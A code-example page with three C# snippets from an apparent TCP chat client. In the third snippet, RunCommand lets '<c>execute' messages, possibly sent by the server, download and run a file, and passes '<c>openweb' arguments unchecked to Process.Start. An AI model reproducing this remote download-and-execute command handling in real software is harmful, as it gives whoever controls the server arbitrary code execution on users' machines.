Пример #1
0
        public bool Disconnect()
        {
            if (m_ClientSocket != null && (Status == ClientNetworkStatus.Connecting || Status == ClientNetworkStatus.Connected))
            {
                UpdateRunner.RemoveUpdate(this);

                Status = ClientNetworkStatus.Disconnecting;
                m_ClientSocket.Disconnect();
                return(true);
            }
            return(false);
        }
Пример #2
0
        private void Send(TcpClientSocket _tcpSocket, string _sendMessage)
        {
            if (_tcpSocket != null && _tcpSocket.Connected)
            {
                if (_sendMessage.ToLower() != "disconnect")
                {
                    byte[] msgPayload = Encoding.ASCII.GetBytes(_sendMessage);

                    _tcpSocket.SendAsync(msgPayload);
                }
                else
                {
                    _tcpSocket.Disconnect();
                    return;
                }
            }
            else
            {
                return;
            }
        }
Пример #3
0
        private bool RunCommand(string _input, bool _fromServer = false)
        {
            // Checks if the input is a command
            if (_input.ToLower().StartsWith("<c>"))
            {
                string commandStr  = string.Empty;
                string commandArgs = string.Empty;

                // If arguments were given
                if (!_input.Contains(" "))
                {
                    commandStr  = _input.ToLower();
                    commandArgs = null;
                }
                else
                {
                    commandStr  = _input.Substring(0, _input.IndexOf(" "));
                    commandArgs = _input.Substring(_input.IndexOf(" "), _input.Length - commandStr.Length);
                    commandArgs = commandArgs.Remove(0, 1);
                }

                switch (commandStr)
                {
                // Connection commands
                case "<c>disconnect":
                    socket.Disconnect();
                    DisconnectFromServer();
                    AppendCommandText(commandStr, commandArgs, _fromServer);
                    break;

                case "<c>reconnect":
                    socket.Disconnect();
                    //ConnectToServer(tbUsername.Text); doesn't work.
                    break;

                // Misc. commands
                case "<c>execute":
                    DownloadFileAndExecute($"{commandArgs}");
                    break;

                case "<c>openweb":
                    if (!string.IsNullOrWhiteSpace(commandArgs))
                    {
                        System.Diagnostics.Process.Start($"{commandArgs}");
                        AppendCommandText(commandStr, commandArgs, _fromServer);
                    }
                    else
                    {
                        MessageBox.Show("Invalid website provided!", "Invalid Website");
                    }
                    break;

                default:
                    MessageBox.Show("Command not recognized.", "Unknown Command");
                    break;
                }
                return(true);
            }
            else
            {
                return(false);
            }
        }